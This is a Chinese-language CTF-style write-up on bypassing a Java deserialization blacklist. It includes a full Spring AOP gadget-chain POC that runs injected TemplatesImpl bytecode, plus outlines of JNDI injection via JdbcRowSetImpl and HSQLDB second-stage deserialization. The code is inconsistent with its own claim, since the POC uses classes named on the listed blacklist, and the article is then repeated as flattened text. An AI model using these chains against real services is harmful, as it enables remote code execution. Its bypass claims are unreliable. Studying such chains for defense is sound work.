justDeserialize 绕过黑名单挖掘利用链
字数 1357 2025-08-30 06:50:28

JustDeserialize 绕过黑名单挖掘利用链技术分析

前言

本文详细分析了一种绕过Java反序列化黑名单限制的技术,通过Spring AOP原生链和JdbcRowSetImpl攻击实现RCE。该技术适用于存在自定义反序列化黑名单的场景,特别是在CTF比赛和实际渗透测试中遇到类似限制时非常有用。

源码分析

目标系统分析

目标系统是一个Java Web应用,主要包含以下关键组件:

  1. 路由代码 (backdoor类):
@RestController
public class backdoor {
    static String banner = "Welcome to java";
    
    @RequestMapping({"/read"})
    public String read(@RequestBody String body) {
        if (body != null) {
            try {
                byte[] data = Base64.getDecoder().decode(body);
                String temp = new String(data);
                // 第一层防护:字符串内容检查
                if (temp.contains("naming") || temp.contains("com.sun") || temp.contains("jdk.jfr")) {
                    return "banned";
                }
                ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
                MyObjectInputStream objectInputStream = new MyObjectInputStream(byteArrayInputStream);
                Object object = objectInputStream.readObject();
                return object.getClass().toString();
            } catch (Exception e) {
                return e.toString();
            }
        }
        return "ok";
    }
}
  1. 自定义反序列化类 (MyObjectInputStream):
public class MyObjectInputStream extends ObjectInputStream {
    private String[] denyClasses;
    
    public MyObjectInputStream(ByteArrayInputStream var1) throws IOException {
        super(var1);
        ArrayList<String> classList = new ArrayList<>();
        // 从blacklist.txt加载黑名单
        InputStream file = MyObjectInputStream.class.getResourceAsStream("/blacklist.txt");
        BufferedReader var2 = new BufferedReader(new InputStreamReader(file));
        while (true) {
            String var4 = var2.readLine();
            if (var4 != null) {
                classList.add(var4.trim());
            } else {
                this.denyClasses = new String[classList.size()];
                classList.toArray(this.denyClasses);
                return;
            }
        }
    }
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        // 第二层防护:类名黑名单检查
        for (String denyClass : this.denyClasses) {
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }
        return super.resolveClass(desc);
    }
}

黑名单内容

黑名单文件blacklist.txt包含以下被禁止的类:

javax.management.BadAttributeValueExpException
com.sun.org.apache.xpath.internal.objects.XString
java.rmi.MarshalledObject
java.rmi.activation.ActivationID
javax.swing.event.EventListenerList
java.rmi.server.RemoteObject
javax.swing.AbstractAction
javax.swing.text.DefaultFormatter
java.beans.EventHandler
java.net.Inet4Address
java.net.Inet6Address
java.net.InetAddress
java.net.InetSocketAddress
java.net.Socket
java.net.URL
java.net.URLStreamHandler
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
java.rmi.registry.Registry
java.rmi.RemoteObjectInvocationHandler
java.rmi.server.ObjID
java.lang.System
javax.management.remote.JMXServiceUR
javax.management.remote.rmi.RMIConnector
java.rmi.server.RemoteObject
java.rmi.server.RemoteRef
javax.swing.UIDefaults$TextAndMnemonicHashMap
java.rmi.server.UnicastRemoteObject
java.util.Base64
java.util.Comparator
java.util.HashMap
java.util.logging.FileHandler
java.security.SignedObject
javax.swing.UIDefaults

Spring AOP原生链利用

利用原理

Spring AOP原生链利用了Spring框架的动态代理机制,通过构造特定的代理对象,可以在反序列化过程中触发任意方法调用。该链不依赖常见的黑名单类,因此可以绕过大多数反序列化防护。

完整POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.support.DefaultIntroductionAdvisor;
import org.springframework.core.Ordered;
import java.lang.reflect.*;
import java.lang.reflect.Proxy;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;

public class main {
    public static void main(String[] args) throws Exception {
        // 1. 创建恶意字节码
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        
        // 2. 设置TemplatesImpl
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        Reflections.setFieldValue(templates, "_bytecodes", bytes);
        Reflections.setFieldValue(templates, "_name", "GSBP");
        Reflections.setFieldValue(templates, "_tfactory", null);
        Method method = templates.getClass().getMethod("newTransformer");
        
        // 3. 构造Spring AOP链
        SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(templates);
        AspectJAroundAdvice advice = new AspectJAroundAdvice(
            method, 
            new AspectJExpressionPointcut(), 
            factory
        );
        
        // 4. 创建代理对象
        Proxy proxy1 = (Proxy) getAProxy(advice, Advice.class);
        
        // 5. 触发反序列化
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        Reflections.setFieldValue(badAttributeValueExpException, "val", proxy1);
        Util.deserialize(Util.serialize(badAttributeValueExpException));
    }
    
    // 创建B类型代理
    public static Object getBProxy(Object obj, Class[] clazzs) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(obj);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
            .getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);
    }
    
    // 创建A类型代理
    public static Object getAProxy(Object obj, Class<?> clazz) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj;
        DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor(
            (Advice) getBProxy(advice, new Class[]{MethodInterceptor.class})
        );
        advisedSupport.addAdvisor(advisor);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
            .getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
    }
}

调用链分析

  1. 反序列化入口BadAttributeValueExpException.readObject()
  2. 触发代理调用:当访问val属性时会触发代理的invoke方法
  3. Spring AOP处理
    • JdkDynamicAopProxy.invoke()
    • ReflectiveMethodInvocation.proceed()
    • invokeAdviceMethodWithGivenArgs() - 关键sink点
  4. 执行恶意代码:最终调用TemplatesImpl.newTransformer()执行字节码

JdbcRowSetImpl攻击

BadAttributeValueExpException被黑名单禁止时,可以使用PriorityQueue触发compare方法,结合JNDI注入实现攻击。

修改后的POC关键部分

// 使用PriorityQueue代替BadAttributeValueExpException
PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator) proxy1);
queue.add(1);
queue.add(1);

// 序列化并触发
byte[] serialized = Serializer.serialize(queue);
Deserializer.deserialize(serialized);

JNDI攻击流程

  1. 构造恶意的JdbcRowSetImpl对象
  2. 设置dataSourceName指向恶意LDAP/RMI服务器
  3. 当触发compare方法时,会尝试连接设置的JNDI地址
  4. 恶意服务器返回Reference对象,触发远程类加载

HSQLDB二次反序列化

当目标环境包含HSQLDB依赖时,可以利用其JDBC驱动实现二次反序列化:

  1. 第一次反序列化:通过允许的类触发JDBC连接
  2. HSQLDB处理:恶意JDBC URL指向包含序列化对象的资源
  3. 二次反序列化:HSQLDB在初始化时会反序列化这些对象,此时不再受黑名单限制

组合攻击优势

  1. 第一次反序列化只需触发JDBC连接,可以使用简单类
  2. 第二次反序列化发生在HSQLDB内部,完全绕过应用层防护
  3. 可以结合Jackson等原生链实现更复杂的攻击

防御建议

  1. 使用白名单而非黑名单机制
  2. 升级Spring框架到最新版本
  3. 限制JNDI查找功能
  4. 监控异常的JDBC连接行为
  5. 使用SecurityManager限制敏感操作

总结

本文详细分析了绕过Java反序列化黑名单的多种技术,重点介绍了Spring AOP原生链的利用原理和实现方式。通过组合使用这些技术,攻击者可以在严格的黑名单限制下实现RCE。防御方面需要采取多层次的安全措施,单纯依赖黑名单无法提供足够的安全保障。

JustDeserialize 绕过黑名单挖掘利用链技术分析 前言 本文详细分析了一种绕过Java反序列化黑名单限制的技术,通过Spring AOP原生链和JdbcRowSetImpl攻击实现RCE。该技术适用于存在自定义反序列化黑名单的场景,特别是在CTF比赛和实际渗透测试中遇到类似限制时非常有用。 源码分析 目标系统分析 目标系统是一个Java Web应用,主要包含以下关键组件: 路由代码 ( backdoor 类): 自定义反序列化类 ( MyObjectInputStream ): 黑名单内容 黑名单文件 blacklist.txt 包含以下被禁止的类: Spring AOP原生链利用 利用原理 Spring AOP原生链利用了Spring框架的动态代理机制,通过构造特定的代理对象,可以在反序列化过程中触发任意方法调用。该链不依赖常见的黑名单类,因此可以绕过大多数反序列化防护。 完整POC 调用链分析 反序列化入口 : BadAttributeValueExpException.readObject() 触发代理调用 :当访问 val 属性时会触发代理的 invoke 方法 Spring AOP处理 : JdkDynamicAopProxy.invoke() ReflectiveMethodInvocation.proceed() invokeAdviceMethodWithGivenArgs() - 关键sink点 执行恶意代码 :最终调用 TemplatesImpl.newTransformer() 执行字节码 JdbcRowSetImpl攻击 当 BadAttributeValueExpException 被黑名单禁止时,可以使用 PriorityQueue 触发 compare 方法,结合JNDI注入实现攻击。 修改后的POC关键部分 JNDI攻击流程 构造恶意的JdbcRowSetImpl对象 设置dataSourceName指向恶意LDAP/RMI服务器 当触发 compare 方法时,会尝试连接设置的JNDI地址 恶意服务器返回Reference对象,触发远程类加载 HSQLDB二次反序列化 当目标环境包含HSQLDB依赖时,可以利用其JDBC驱动实现二次反序列化: 第一次反序列化 :通过允许的类触发JDBC连接 HSQLDB处理 :恶意JDBC URL指向包含序列化对象的资源 二次反序列化 :HSQLDB在初始化时会反序列化这些对象,此时不再受黑名单限制 组合攻击优势 第一次反序列化只需触发JDBC连接,可以使用简单类 第二次反序列化发生在HSQLDB内部,完全绕过应用层防护 可以结合Jackson等原生链实现更复杂的攻击 防御建议 使用白名单而非黑名单机制 升级Spring框架到最新版本 限制JNDI查找功能 监控异常的JDBC连接行为 使用SecurityManager限制敏感操作 总结 本文详细分析了绕过Java反序列化黑名单的多种技术,重点介绍了Spring AOP原生链的利用原理和实现方式。通过组合使用这些技术,攻击者可以在严格的黑名单限制下实现RCE。防御方面需要采取多层次的安全措施,单纯依赖黑名单无法提供足够的安全保障。